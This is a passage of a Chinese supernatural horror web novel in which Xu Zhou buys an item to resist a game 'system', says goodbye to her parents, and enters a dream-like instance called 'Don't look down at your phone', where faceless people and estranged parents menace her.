而不知不觉，两人已经走到先前摆碗游戏所在的地方，那里已经空空如也。
沈霁对此并未留意，眸光微动，似是已有想法。
他轻声对许舟吐了一句话。
许舟连连竖起大拇指，对其赞不绝口。
“不过，这个人选…”沈霁问道。
“安啦安啦。我问过曲心奕，她知道一个合适的人选。”
“谁啊？”沈霁一脸懵，“那个人同意吗？”
“你认识的。”许舟神秘地一笑，“那个人，不是很乐意为我们效劳吗？”
沈霁双眸闪过一丝顿悟的神色，而又添上一层笑意：“哦，那个人呀。”
……
回家后，许舟默默打开了论坛。
自从她意识到系统可能在论坛对他们进行监视后，她就很久没点进来过了。
许舟目光飞快地在官方交易分区的商品上扫动。
“这东西可真多……”片刻，许舟终于从琳琅满目的商品中找到了她想要的那样。
“宋安乔呀宋安乔，我还得谢谢你，让我知道有这个道具。”许舟自言自语道。
直到许舟的目光落在道具价格上…
“这！么！贵！”她目瞪口呆。
这样道具，将会花光她所有的代币和邀请函。
她忍痛伸出一根手指，颤颤巍巍地在“购买”键一按，让自己摇身一变，从一个本就不富裕的人变成了一个彻头彻尾的穷光蛋。
随即，许舟拉开自己卧室的抽屉。
四张邀请函的色泽渐渐变淡，一点，两点，随后化为一阵虚影，许舟伸手去碰，却轻而易举地从邀请函中穿过，直接触及抽屉底端。
又过了两三秒，四张邀请函化为泡影。
当时她将邀请函放回抽屉，是觉得思北的人哪怕再次造访，也不会想到她大胆到将东西放回原来被偷窃过的位置。
只不过…不等思北的人来，四张邀请函就被她自己花掉了。
许舟看着邀请函存在过的位置，一件崭新的东西显现出来——她买的道具。
一拿到道具，她就飞速下楼，连拖鞋都还没捂热。
两天三次前往缤纷商场，缤纷商场即将成为许舟的快乐老家。
只不过这一次，她并不进到商场内，而是去找商场对面酒店的曲心奕。
毕竟，这个道具的使用，还得仰仗她。
92. 告别
当电梯落到一楼时，一个人正在门口等着电梯。
这个人比许舟矮上不少，身着一身长袖长裤紧身衣，而双手戴着一对薄薄的手套。
头戴一顶墨绿色的鸭舌帽，脖子上缠绕着大红色围巾，而面部也被面罩包裹得严严实实。
电梯里的许舟看见来人，心“咚咚”地敲了两下鼓。
我们楼里......住着这个人吗？
颇不符合季节的穿搭......甚至从外表看去，一时分不出男女。
难道这人只是为了严格防晒？但防晒，一般不会用围巾吧？明明有更好的选择......
许舟迟疑地开口：“你好…？”
邻里邻居的，打个招呼也很正常。
然而对方就像没听到一样，直勾勾地走进电梯，经过许舟身侧时，让许舟感到身边的空气都凉了几分。
回眸望向来人，这人转了个身，伸手探向电梯一侧的按键。
察觉到许舟的目光，对方在按下按键后飞快收回了手，而后扯了扯长袖和手套，以确保不露出哪怕一寸皮肤。
在电梯门关上的空当，对方默默低下了头，鸭舌帽的帽沿又被压低了几分。
......对方不会以为我是变态吧。
许舟抽回目光，鬼使神差地，她将手上刚买的道具往身后挡了挡，默默地向一楼出口走去。
……
缤纷商场门口。
许舟刚到这里，目光下意识地在商场入口处徘徊。
而发放气球的小女孩已经无影无踪。
“……被我们吓跑了？”许舟沉吟。
掏出手机，打开和曲心奕的聊天框。
浮舟已渡：我到缤纷商场门口了。
奕影初现：得令！马上到！
…
等待曲心奕的期间，许舟在商场门口转来转去，偏偏没有走进门。
她在等，等那个送气球的小女孩的身影再次出现在眸子里。
“许舟妹妹～～你在找我吗？”曲心奕的声音远远传到许舟的耳朵里。
“你做梦。”许舟用食指指尖指了指自己的太阳穴。
“你也太不近人情了...暴风哭泣。”曲心奕伸出双手，摊平，“给我的东西呢？”
许舟用双手正式地将花费了她全部家当换来的道具，四平八稳地放在了曲心奕的手心。
“交给我啦！”曲心奕接过来，“我办事，你放心。只要你叫我一声……”
“心奕姐姐～～”许舟奶声奶气地叫了一声。
曲心奕心满意足地拍拍胸脯：“我今天晚上就回我家啦。有空来找我和我妹妹玩。”
“你妹妹快高考了吧？”许舟关切地问了一句。
“对。”曲心奕点点头。
“等她高考完我去找你们。”许舟苦涩地一笑，“如果我还能回到这个世界的话。”
“许舟妹妹办事，我一向也很放心。”曲心奕用她自己的方式安慰许舟。
尽管如此，曲心奕在刚得知许舟的计划时，仍表露出无限的担忧。
当时，她在聊天软件上问过许舟…
奕影初现：其实像现在这样，偶尔进副本，也许也能活很长时间。我就认识一位进过好几年副本的老人。
奕影初现：你冒险入虎穴，会后悔吗？
浮舟已渡：与其时常在副本生死一线，不如尝试将其毁灭，这样还尚有回归正常生活的可能。【乖巧】
浮舟已渡：更何况，系统向我提出合作，按它的德性，我没有拒绝的权力。【哭泣】
浮舟已渡：就算在植物园用传送玻璃珠逃过一劫，还会有下次的呜呜呜…
奕影初现：【沉思】
奕影初现：好吧，加油。【鼓励】
奕影初现：相信许舟妹妹是最棒的！
脑海中迅速闪回两人在聊天软件的对话后，许舟听着曲心奕的话强颜欢笑：“那就好，相信我。我还要去见见你传说中的妹妹呢。”
“啊？！你们没见过吗？！”曲心奕满脸惊讶地眉头一动，“小时候我们不是经常见面嘛？”
“对啊。我被我爸妈领养后，虽然经常和你见面，但我去你家时，你妹妹不是和你妈妈去公园玩了，就是去她的朋友家了。而你平时来我家时也不会带你妹妹。”
许舟眼帘微垂，长睫轻颤，双手抬到眼旁，作出虚抹眼泪的动作。
曲心奕向后退了两步：“别！发！嗲！”
说罢，她拿出手机，亮屏瞄了眼时间：“哎哎哎，时间不早了。我还要回酒店拿寄存的行李赶车。”
还没等许舟回应，她便向酒店跑去。
到楼下时，她猛然一顿，回过头来，大幅度地与许舟挥了挥手，作了个口型——“注意安全”。
许舟回敬了一个口型——“到时见”。
……
第二天的一大早，许舟就醒了。
虽然答应了曲心奕一定安全回来，见她和她妹妹，但是许舟隐隐觉得……进下一个副本前，还要去见一下自己的父母。
毕竟……就算能顺利回来，也可能是遥遥无期。
行动派许舟麻溜地下楼按照父母的口味买了些水果——许舟的爸爸许钊爱吃葡萄，而妈妈黎茗丽爱吃桃子。
她打车来到父母家楼下时，才掏出手机给妈妈打了个电话：“喂？～～”
黎茗丽接到许舟的电话，腔调中不由得饱含笑意：“怎么突然想起给我打电话啦？”
“看楼下。”许舟轻快地说道。
三秒以内，黎茗丽的头就从楼上的一扇窗探了出来，见到许舟更是笑容满面，拼命挥手让她赶紧上楼。
许舟刚走进家门，黎茗丽便蒙住许钊的双眼，神神秘秘地把他带了出来。
许钊疑惑地问：“怎么了吗？”
“铛铛铛！”黎茗丽松开双手。
“小舟回来了！”许钊先是大惊，而后笑得皱纹挤成了一团，接过许舟手上的两袋水果，“这么重，拎过来很不容易吧。”
“就是啊，还带水果。”黎茗丽话是这么说，心里还是为许舟的惦记乐开了花。
黎茗丽将许舟带到她之前的卧室：“自从你为了实习交通方便，搬出去之后，我们都有定时清理打扫你的卧室。”
许舟亲了一下黎茗丽的脸颊：“谢谢妈妈～”
“接下来实习和毕业论文会占用很多时间，可能要过段时间才能回来了。“许舟委婉地说道，“不能像之前一样频繁。”
不知道副本存在的黎茗丽只是用满是鼓励的眼神看着许舟，亲切地拍了拍她的背：“再忙，也要注意休息。”
“还有…”许钊苍老的目光闪烁了一下，似乎有些欲言又止。
“你爸想说，小时候那件事不怪你。”黎茗丽见状，替许钊说出了他吞回去的话，“不要再过度纠结了。”
“她…”许舟张了张嘴，发出低哑的声音。
“她，也没
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有怪你。”黎茗丽肯定地说，“她已经开始新的生活了。”
许舟苦笑着点点头。
黎茗丽又不认识她？怎么知道她的想法和现状呢？
无非就是安慰自己罢了。
“你妈说得对。”许钊却也同样异常地肯定，“你的未来，也要好好加油。”
“身体才是最重要的。一定要好好休息。”黎茗丽瞪了许钊一眼。
许钊讪讪地笑了一下：“对，对。”
……
在进副本的前一夜，许舟给家里来了个大扫除。
“不知道多久才能回来了。”许舟看着一层不染的地面，自言自语道。
而后，从衣柜中郑重地拿出一套运动服换上，便静静地躺在床上等待副本的到来。
“不知道去到创造系统异世界后，系统会不会给自己准备全套服装…”许舟闭目养神，“还是先换一套方便行动的衣服比较好。”
……
在凌晨零点到来时，许舟的枕边，一张邀请函如期而至。
这次的邀请函上的副本名称却是七个大字。
过去的四次副本经历里，除了第一次木偶院副本收到的卡片仅有“邀请函”三个大字外，其他三张都写上了副本名称。
它们无一例外，都是五个字的…
虽然字数不代表什么，但突如其来的变化往往为囚于安稳的人带来担忧。
而且，这次的副本名称……
“不要低头看手机？”许舟有些莫名其妙地念了出来…
怎么会有这种副本名？？？
“不要低头看手机”是什么鬼！？
还没来得及埋怨，许舟的意识就陷入了一片混沌之中。
这次的混沌，持续时间要比先前四次长很多。
甚至……许舟在混沌中，发现自己许许多多的记忆。
它们被揉碎成了一块一块地，被随意地抛弃在一片满是迷雾的低沉混沌之中，偶尔露出一个尖角。
在她的意识深处，许舟甚至不敢睁眼去看。
“不要……！！”
低低地叫了一声，系统音如约在脑海里响起。
——副本已生成。
声音将混沌划破了一个细长的裂痕。
混沌中的迷雾被驱散，卷走了那些记忆碎片，只剩下一片清明。
许舟缓缓睁眼，看向散发着幽幽银光的大门。
有，且只有银光。
“作为一个让我从原世界到异世界的过渡副本，竟然只是一个最经典的剧情完成度副本？”许舟发出疑惑的声音。
——没错，不用怀疑。
许舟：“……”
许舟：“很没排面好吧。”
系统：“……”
许舟果断地推开大门，走了进去。
——欢迎来到“不要低头看手机”。
——玩家数量：7人。
然而在系统的播报后，许舟的意识再一次陷入了一片迷雾之中。
迷雾中的一处豁开一个口子，散发着金色的微光。
许舟尝试拨开口子般的迷雾，却出乎意料地顺利。
迷雾消散。
许舟睁开了眼，从自己卧室里的床上坐起。
朦朦胧胧地打开手机，点开日历，现在是从“四季植物园”出来的第二天，也是与沈霁相约在缤纷商场见面的日子。
“好长的梦……梦里的这么多天，都意外地真实…”
93. 不要低头看手机（1）
从床上弹起，双脚伸进拖鞋之中，慢悠悠地走到窗边，“哗啦”一声拉开窗帘。
许舟抬眸望着窗外的建筑，愈发觉得这一刻同梦里般相似。
而13楼的住户…还是一样想不起来。
拿起手机后，便下楼拦了一辆出租车。
许舟下意识地亮起手机屏幕，在梦里，她便是在车上与曲心奕联系并确定了反击系统的事宜。
浮舟已渡：回现实了吗？
浮舟已渡：【乖巧】
“去哪儿？”出租车师傅提醒道。
“缤纷广场。师傅。”许舟行色匆匆。
师傅点点头，握着方向盘，全神贯注开起了车。
许舟垂眸望向信息栏，曲心奕还没有回复。
她不由得在心里小声嘀咕——梦里的曲心奕，在这时可是秒回的呢。
等等…
梦里……
梦里自己去缤纷商场找沈霁时同样拦下了一辆出租车，出租车师傅长什么样子来着…？
不知为何，许舟的背脊一阵发凉，心里像是被揪了一下般，令她猛地直起腰，抬眸看向后视镜里出租车师傅的面庞。
梦中出租车师傅的轮廓与眼前人的身形渐渐交合，他们重叠在了一起。
许舟的心被揪得紧紧的，她的碎发被渗出的汗水打湿，粘在了一起。
眼前的师傅，和梦中出租车师傅，长得一模一样。
“呼——呼——”
许舟侧脸看向窗外，街道和商铺飞一般地向后掠去。
行人的面孔不知是因为出租车的速度，还是因为许舟的恍惚，在她的视野中竟是变得模糊不清。
“小姑娘？你怎么了？”师傅关切地问道。
“没什么。”许舟低下了头，不愿再看见师傅的面孔。
对了！梦里的出租车师傅有一位死于副本的侄女…那应该就是一个突破口。
“师傅…我去缤纷商场，见我很久没见的叔叔。”许舟突兀地说道。
“挺好挺好。”出租车师傅乐呵呵地说，“我也有一个侄女，差不多和你一样大。”
“她怎么样？”许舟咬咬牙，问道。
“她？大学毕业一年多了，找了份很好的工作，隔三差五给我这个叔叔打电话呢。”师傅提到侄女，可谓滔滔不绝，似乎在与许舟炫耀。
听着师傅的话，许舟总算是松了口气。
她拿出张纸，擦了擦额角的汗水，心跳也渐渐缓和。
果然只是一个梦罢了…
这位师傅的侄女好得很。
和梦里的根本就不一样。
一定是自己一天进两个副本进傻了！
许舟自嘲似地扯了扯唇角。
“到了。”师傅将车停靠下来。
“谢谢师傅。”许舟拿出手机，扫了下付款码。
然而…
就在许舟付款时，她的屏幕顶端弹出一条消息。
奕影初现：你在说什么副本？是什么游戏里的吗？
许舟握着手机的指节不由自主地紧了紧，指尖甚至有些发白。
曲心奕…不知道副本？
“小姑娘？”师傅见许舟迟迟没动，“到了。”
“哦，哦。”许舟深吸一口气，付了款，“谢谢师傅。”
说罢，她熄了手机屏，拉开车门向外走去。
而沈霁已经在那儿四处张望。
只不过…他身上所穿，是许舟梦中的那套休闲服。
“沈霁，等很久了吗？”许舟到沈霁背后，强颜欢笑地问。
“刚到。”沈霁回过头来。
许舟却惊觉他的脸色也有些苍白，看不到一点血色。
“你……怎么了？”
两人不约而同地问道。
许舟打开手机前置镜头，看了看自己，发现自己也是一样的惨白。
惨白对惨白，两眼泪汪汪。
“没什么…昨晚没休息好。可能是因为连续进了两个副本。”沈霁声音绵绵无力。
许舟指了指自己的头：“我也是。狗副本，害人不浅！”
紧接着，许舟正要开始给沈霁说明自己阵营的事情和反击系统的事宜……
但她却发现，沈霁面色平静如水。
看他的表情……似乎一点也不好奇。
“你不好奇吗？”许舟忍不住问道。
“……可能我们比较有默契？”沈霁半开玩笑地说，“我昨晚梦到你接下来要说的话了…”
许舟瞪大了眼睛：“……我也是。”
两人陷入长久的缄默。
良久，许舟亮屏看了眼时间，鬼使神差地回头看了一眼。
那个送气球的小女孩今天并没有出现。
果然只是梦…吗？
那为什么，沈霁也梦到了类似的事情呢？
许舟试探性地问道：“……在你的梦里，我和你说了什么？举个例子？”
“你说了你的过去。”沈霁顿了一下，“你的亲生父亲出了车祸，你进入星市福利院后被现在的父母收养。”
…
……
！！！
许舟强压住大叫的冲动，故作镇静道：“……我也是。”
又是长久的缄默。
“……你说，会不会不是梦？”沈霁率先找回了自己声音。
“你的意思是…这就是新的副本？”许舟终于接受了现实，“副本叫什么？”
“……不要低头看手机。”沈霁咳了两声。
许舟：“……我，我也是。”
还好刚刚没有脱口而出关于反击系统的事情，不然在系统的监视下，自己小命不保…
许舟瑟瑟发抖。
但如果这真的是新副本的话，为什么系统还没有告诉自己先前未告知的那个合作条件呢？
“……开玩笑的。”沈霁说道，“应该不是新副本，我更倾向于这是系统想借助昨晚的梦，告诉我们什么。”
！！！！！
“不可能吧…因为昨晚的梦里…”不确定这是不是副本的许舟不敢明说反抗系统的事情，她用暗示性的眼神扫了沈霁一下——昨晚的梦里，两人还嘀嘀咕咕对付系统的办法呢。
沈霁立即会意，却只是微不可察地点了点头。
系统想说，它知道我们的想法，要借这个梦警告我？
“那万一，现在这个才是梦呢？”许舟脑海里又迸发出另一种可能性，因为……曲心奕的消息。
“也有这种可能……但无论是哪种，我暂时认为这不是副本。因为…副本里，是不能带手机的。”沈霁在大太阳下晃了晃自己的手机。
“我倾向于这个才是梦。”许舟对着眼前这个“梦里”的沈霁说道，“因为这里的…曲
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心奕不知道副本的事情。”
许舟打开手机，自顾自地对着曲心奕的聊天框打了一行字，不再理会身边的“假”沈霁。
浮舟已渡：你不知道副本？
浮舟已渡：那你回我消息怎么这么自然？我们很久没见了诶。
如果曲心奕真的不知道副本的事情，那她们在“蝴蝶的恩典”中的相识与重归于好就不存在了。
那曲心奕…怎么会这么自然地回复许舟突如其来的消息，不觉得一点奇怪呢？
许舟盯着聊天框，等待着曲心奕的回复。
她的目光很坚定，她一定要揭穿这个系统带来的梦境的虚假的面目。
奕影初现：？？？
奕影初现：许舟妹妹，你在说什么？
奕影初现：前段时间，我父母不是来星市了嘛？然后我们在鸿鹄饭店见了面，聊着聊着就……又热络起来了？
许舟眉头微蹙——在她从木偶院副本出来后，确实去鸿鹄饭店和曲心奕及其父母见了一面。
但是……系统是怎么知道的？？
“……？”沈霁看着低头与曲心奕发消息不语的许舟，问道，“我还在这呢。”
“别碍事。”许舟对着“假”沈霁毫不客气。
沈霁：“……”
随后，她敲出一行字。
浮舟已渡：我知道你是假的。
奕影初现：……？？？
许舟熄了手机屏，一脸从容地到路边，准备打车
沈霁：“……？”
虽然表面波澜不惊，但许舟内心已经敲响震天雷。
难道，副本一直在监视着所有人在现实的一举一动？？？
那她和沈霁约定在现实会面究竟有什么意义？？？
现在这个梦也被无限放大，赋予了新的含义。
系统不是想警告自己。
系统是想杀了自己。
许舟牙关一紧。
那……如果杀自己的话，沈霁恐怕也不能幸免于难了…
但为什么迟迟不动手？
一定要用梦来折磨自己？
许舟不理解。
但许舟还是拦了一辆车。
事已至此，她决定回家，躺平，等死。
绝不让系统看笑话！！！
沈霁：“……你要去哪儿？”
许舟摇下车窗，冷脸说道：“我知道你是假的。别装。”
“小姑娘，去哪儿？”师傅问道，“这位是…”
师傅扭头看了眼车外的沈霁。
“对了，你说这才是梦…因为这里的曲心奕不知道副本的事情。”沈霁回想起许舟变脸前的最后一句话，脸色同样突变，“原来…你是假许舟。怪不得。”
说罢，沈霁向后退了两步。
“呵。”许舟轻笑一声，但她懒得和这个“假”沈霁掰扯谁才是真的谁才是假的。
她转过头去：“师傅，临鸢花园。”
临鸢花园，是许舟现在的家的地址。
说罢，许舟低下了头，百无聊赖地亮屏熄屏，熄屏亮屏。
车却迟迟未动。
“师傅？”
许舟抬眸，看向梦里的这位“假”师傅。
只见后视镜里的这位出租车司机，脸上一片空白，淡黄色的皮肤上没有任何的五官。
活脱脱一个…无脸人。
94. 不要低头看手机（2）
“你说...这是假的，对吗？”
从面前这张没有五官的脸后，发出了低沉而诡异的疑问，字字敲击着许舟的心灵。
她下意识地摇了摇头。
“咯咯咯咯咯咯~~~”无脸人从喉咙深处发出连续不断的诡谲笑声，“真的吗？”
“真的...”被眼前人所震慑，许舟小小声地说道。
“你说呢？”没有五官的脸转向车外不远处的沈霁。
沈霁皱了皱眉：“真的。”
“咯咯咯~~”无脸人仰起头，对着车顶笑了几声。
而后，他缓缓地，缓缓地，将头低下来。
慢慢地，一点点地，把头扭到许舟的方向。
“你...”他低声道，又慢慢地将头转向沈霁，“还有...你。”
“你们，撒谎了哟~~~”说罢，他一把拉开身旁的车门，走到了大马路上。
绕过车头，正向许舟走来。
许舟这才缓过神来，一把拉开车门，向沈霁跑去：“别站着了！快跑！”
两人抬腿向缤纷商场内跑去。
然而，当他们到大门时，几个路人围了过来，拦住了他们的去路。
“你们要去哪儿？”
“不能进这里。”
“因为...”
几个路人你一言我一语。
紧接着，以那个出租车师傅为首，越来越多人围了过来。
迅速地形成了一个包围圈。
“因为，你们说...”
“这里是...”
“假的啊！！！”
所有人异口同声地说道。
而后他们发出震耳欲聋的尖叫。
“啊——假！的！”
顿时，路人们脸上的眼睛轮廓慢慢地变淡，接下来是鼻子，最后是嘴巴。
直到...完完全全地消失在他们的脸上，只留下一张张没有五官的脸。
他们慢慢地向以许舟和沈霁为中心的圆圈聚拢，随后逐渐缩小包围圈。
“叮咚~”
“叮咚叮咚~~”
许舟和沈霁的手机发出接二连三的响铃。
“咦？”一张脸发出了女生疑惑的声音。
“什么声音啊？”另一张脸发出低沉的男音。
“我知道我知道！”一个如孩童身形的无脸人骄傲地大叫。
“你们的手机，响了。”出租车师傅走到两人跟前，慢悠悠地开口。
“哥哥姐姐，快看看消息吧！”那个孩童跑上前来，拉了拉许舟的衣角。
手机...响了？
许舟和沈霁不约而同地看向了手里的手机。
“叮咚~”
“叮咚叮咚~”
响铃依旧在继续，如同潘多拉的魔盒一样，引诱着两人查看。
许舟勾了勾唇角，扯开了无脸孩童的手：“小弟弟，你知道吗？”
他歪着头：“知道什么？”
“我习惯，把手机设成静音。”许舟不紧不慢地说道。
说罢，她与沈霁心领神会地对视一眼。
此刻的他们已然万分确定，这就是个副本——“不要低头看手机”。
手机确实不能带进副本。
但他们手里的，根本就不是他们现实世界的手机，而是这个副本为他们提供的道具。
想到这，许舟笑眯眯地看着无脸孩童。
正要继续伸向许舟衣角的小手停住不动了。
而无脸孩童也不说话了。
周围的所有人都如同被按下了静止键般，陷入一阵漫长的缄默。
虽然他们没有五官，但许舟能感觉到，一双双看不见的眼睛正恶毒地盯着自己。
空气凝固。
半晌，出租车师傅再次向前两步。
而许舟的意识陷入一阵虚无。
又一次，满是迷雾的混沌。
迷雾中，来自出租车师傅的声音笼罩在天空之上。
“记住，这不是一个梦，也不是副本。”
“这是现实。”
“是你一直逃避的现实。”
“不要和任何人说，与梦和虚假相关的事情。”
“记住。”
随着最后“记住”二字重重落地，许舟睁开了眼。
......
“到了。”
出租车师傅将车停靠在缤纷商场旁。
“小姑娘，太累了吧，睡了一路。”师傅关心地说，“年轻人要多注意身体...我有个像你一样大的侄女，她呀...”
紧接着，师傅滔滔不绝地夸赞起自己的宝贝侄女。
而这些话语，丝毫进不了许舟的耳朵。
她只关心...
“那个...”许舟将身子向前探去，“您说，我睡了一路？”
“对啊。从临鸢花园到缤纷商场，你除了刚上车时看了眼手机，后面一直在睡呢。”出租车师傅给出了肯定的答复。
“知道了。谢谢师傅。”许舟掏出手机，扫了个码。
上面突然弹出一条消息。
奕影初现：你在说什么副本？是什么游戏里的吗？
许舟白皙的手纂得更紧了。
她快速扫了码，下了车。
而缤纷商场前，沈霁身着休闲服的身影正在四处张望。
许舟轻托昏昏沉沉的头，小声地自言自语：“奇怪...我给曲心奕发完消息后，怎么就和断片似地睡着了？”
“睡眠期间发生的一切，我真是一点印象都没有了。”
“不过...曲心奕为什么说不知道副本？”
“她是在和我开玩笑吧...”许舟自我安慰道，“毕竟，这里是现实世界。”
不知道为什么，她总觉得，她的潜意识，对这个世界的真实性，坚信不疑。
“沈霁！”许舟对着沈霁招招手。
沈霁猛地回过头来，脸色苍白，嘴唇有些发紫。
“我不太舒服...你约我来，想说什么？”
“没什么。”鬼使神差地，许舟摇了摇头。
不知道为什么，她突然不想和沈霁谈关于反抗系统的事情了。
她总觉得，这里有人在监视着自己...
许舟直视沈霁的双眸：“我想说，我们作为副本和系统的创造者，能自由进出你们参与者的世界。”
“所以，你们这些蝼蚁，不要再想着反抗了。”
许舟逐字逐句地说道。
很神奇，她觉得在这里，不告诉沈霁真相才是安全的。
不出所料地，听了许舟的话，沈霁眉头紧蹙。
他同样对这个世界的真实性，不疑有他。
因此，他自然而然地相信了许舟的话。
“我知道了。”沈霁果断地点点头，转身离去。
许舟冷笑两声，走到路边，拦了辆车。
“小姑娘，去哪儿？”这辆车的出租车师傅问道。
“临鸢花园。”许舟语速飞快。
“好的。”师傅点点头。
鬼使神差地，许舟抬眸看向后视镜。
这辆车的师傅的面孔既熟悉又陌生。
就好像...曾经见过
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他一样。
但却又不记得是什么时候的事情了。
“师傅，我们之前见过吗？”许舟慢吞吞地问道。
出租车师傅略微抬头，看了眼后视镜的许舟：“应该没见过吧？不过每天打车的客人有很多，很多人我都没印象了，所以我也不太确定。”
“哦...这样啊。”许舟莫名有些紧张。
...可能是错觉吧。
许舟在心里对自己说道。
这师傅长得很大众脸，也许就是认错了而已。
...又也许，真就那么巧，以前打车时上过他的车。
临鸢花园一眨眼就到了。
许舟回到自己家，扫视四周一圈——还是自己家安心。
但不能让沈霁配合的话...计划怎么办呢？
刚刚舒心的许舟又感觉心里一阵打鼓。
“...轻松不过三秒。”
生活不易，许舟叹气。
想起自己还没回曲心奕，她断然决定先把曲心奕这边搞定。
浮舟已渡：别装！！！
浮舟已渡：有正事！
浮舟已渡：我叫你心奕姐姐好不好？
过了一分钟，曲心奕没回。
...过了五分钟，曲心奕还是没回。
......过了两小时，聊天框仍然没有新的信息。
许舟：“......”
“既然自己即将进入异世界，那就要充分利用现在的每一分每一秒！”许舟站到家里的落地镜前，给自己打气，“先去看看父母吧。”
许舟麻溜地找了个超市，给母亲黎茗丽和父亲许钊分别买了他们爱吃的水果，而后打了车赶往他们家。
到楼下，许舟才打了个电话给黎茗丽。
许舟亲昵地喊着：“喂？~~”
“怎么了吗？”黎茗丽的声音很平淡，令许舟感觉哪里怪怪的。
但她仍旧神秘兮兮地说道：“看楼下。”
说罢，电话就被挂断了。
许舟一怔，而后在楼下等了好久，终于等到黎茗丽从窗子里探了个头。
她眉眼乌沉，似是被一层乌云笼罩。
见到许舟，她毫不掩饰地耷拉下自己的嘴角，礼节性地挥了挥手，让她上来。
一种孤独感包裹了许舟的全身。
“妈妈...是不想见到我吗？”许舟问自己，“她以前不是这样的啊...”
话音刚落，许舟的头立即摇得像拨浪鼓一般：“不对，妈妈一直都是这样对我的。”
“记忆里，从我被领养到现在，她就没给过我一个好脸色。”
许舟深吸一口气：“我怎么会觉得，她喜欢我呢？”
但秉着来都来了的原则，许舟还是一步一顿地上了楼。
后悔，后悔过来。
来到家门口，许舟便听到屋内两人吵架的声音。
“黎茗丽！你为什么要让她上来？！”许钊的声音如雷贯耳。
“许钊，我告诉你！要不是当时你生不了孩子，我们怎么会领养到这样一个人？！”
...
许舟垂眸听了一会儿，静悄悄地将水果袋子放在了门口，准备离开。
然而就在这时，黎茗丽打开了门：“你怎么动作慢吞吞的？从一楼到这里要这么久？！”
“妈，我还有事。”许舟勉强地一笑，“就先走了。”
“...这些水果，是给您和爸买的。”
说罢，许舟转过身去。
“你给我回来！你看看这是什么？！你的事情，被人发到网上了！”
95. 不要低头看手机（3）
“就是啊！”许钊年迈的声音从黎茗丽身后缓缓向许舟接近。
他的脚步声沉缓而有力，仿佛每一下都敲击在许舟的心灵。
事情...被人发到网上了？
许舟审视着许钊和黎茗丽两张布满沧桑皱纹的脸，欲从中探究一星半点他们说谎的依据。
“你这么看着我干什么？”黎茗丽被打量得很不舒服，毫不客气地问道。
“大逆不道。”许钊适时接上了话，“别以为你给我们买了那么点水果，就可以打发了。”
刚刚还在争吵的两人，在见到许舟后，只需一个眼神就统一了战线。
“我们，一直都很后悔领养你。”黎茗丽在“后悔”二字拉长了音。
明明长着黎茗丽和许钊的脸，发出的也是黎茗丽和许钊的声音，但眼前的两人浑身散发着一股冷气。
“好陌生...”许舟看着两人，情不自禁地喃喃道。
“陌生？连妈妈都不认得了？”黎茗丽听到这话，质问的同时却勾起一抹诡异的笑。
“那你还认得爸爸吗？”许钊将脸凑上前去，死死盯着许舟。
许舟眸光微动，咽了口口水。
一样的外貌，陌生的气质...
“我和你们的关系，什么时候变成这样了？”许舟脑海中回闪过一瞬间他们相处的点点滴滴，而又被不知名的感觉迅速抹去。
“乖女儿？”许钊和黎茗丽眼里满是困惑，“我们和你的关系，什么时候不是这样的呢？”
“不然，你又怎么会搬出去住呢？”
许舟双眸猛然瞪大，一抹诧异荡漾开来。
“对啊...我们关系，一直都不好啊。”
“对啊…我搬出去住，是因为我们关系不好，而不是为了方便实习…”
许舟自言自语道。
那刚刚一瞬间对亲密点滴的回忆是怎么回事？
这些事情…明明就从来没有发生过啊。
从自己到父母家楼下时，自己就已经知道与父母关系紧张了。
刚刚居然还能愚蠢地对父母关系抱有希冀？
“啊——头好痛。”许舟持续不断的思考让她的大脑超负荷运作。
刹那间，她的脑海一片空白关于父母的记忆烟消云散。
“当年的那件事，那女孩从来没有原谅过你。”黎茗丽看着许舟的双眸，继续添油加醋。
“不然，她怎么会发到网上呢？”许钊与黎茗丽一唱一和。
而后，关于过去的回忆如潮水般涌入许舟的脑海。
许舟拔腿就跑，试图通过逃跑，让自己的思绪也逃离这无尽深渊。
来到电梯前，焦急地按了几下按键，可平时应答迅速的电梯却在此时如失了灵一般，门迟迟不为许舟敞开。
就好像…连电梯也不欢迎现在的许舟。
许舟一咬牙，像楼梯间跑去，她用力推开消防门，三步并作两步地向一楼直冲。
所幸，黎茗丽和许钊住在四楼，楼层并不是很高。
许舟心里有点小庆幸。
正当她来到一楼，准备冲出黑暗的楼道，重获光明之际，黎茗丽和许钊的邻居手里拎着一些菜，回来了。
她看见许舟后，将手里的菜扔到一边，同时健步如飞地拦住了许舟的去路，将她逼回了逼仄的楼道。
“小妹妹？”邻居说着。
“麻烦让一下…”许舟有气无力地说道。
当她抬眸看见来人时，却发现邻居的脸上，空有一张脸皮而没有五官。
声音来源于她的喉咙。
“我若是不让呢？”邻居逼问。
“那我就…”许舟慢慢将腿向后挪去，“跑！”
说罢，她转了个身，重新迈上台阶。
只不过，刚刚是向下，现在是向上。
而这次…似乎还有些不一样的地方。
许舟向上冲着，却能清晰地听到身后的脚步声——邻居跟上来了。
而她每向上一层，就能听到身后的消防门“嘎吱”一声打开，紧随其后的那阴魂不散的脚步声又多了一种。
追逐许舟的人，越来越多了。
当她重新来到四楼，便看见许钊和黎茗丽大开着消防门，静静地等候着。
见到许舟，他们不一而同地将嘴角咧到眼睛：“我们就知道，你会回来的。”
说罢，他们拦住了许舟的去路，将许舟截胡在了四楼。
而身后的脚步声越来越近，每一层楼的住户都涌了上来，将许舟硬生生堵在了墙角。
除了黎茗丽和许钊以外的所有人，脸上都没有…五官。
而后，住户们让开一条道，黎茗丽和许钊缓缓走到许舟跟前。
“你说，我们很陌生，对吗？”黎茗丽难得用关心的语调说话，“你觉得，我们是虚假的？”
许舟的背已经贴到了墙上，她果断地摇了摇头。
“你骗我们了，哈哈哈哈哈。”许钊突然放声大笑。
“你不说实话没关系。”黎茗丽无所谓地耸了耸肩。
紧接着，夫妻俩掏出了他们的手机，不断地点击着，似乎在做什么事情。
许舟试图拔腿离开，但她除非掌握穿墙术，否则所有的路都已经被封死。
“叮咚～叮咚～”
许舟的手机不合时宜地响起。
接二连三的响铃声成为许钊黎茗丽二重奏的伴奏。
“看看你的手机吧。”黎茗丽抬起头，放下自己的手机，说道。
“我们把链接发给你了。”许钊同样慢慢抬起了头。
许舟亮了亮手里手机的屏幕，用余光扫了眼信息。
果然，黎茗丽和许钊的账号分别给她发来了同一条链接。
而标题——一位受害人的自述：我的同伴花舟对我做的那些事。
虽然字体在手机里很小，但却如石子般在许舟澄澈的双眸荡起一圈圈水花。
“这就对了。”黎茗丽欣慰地点点头，“拿起手机，点开链接，好好看看。”
“低下头来，好好看看哦。”许钊说道。
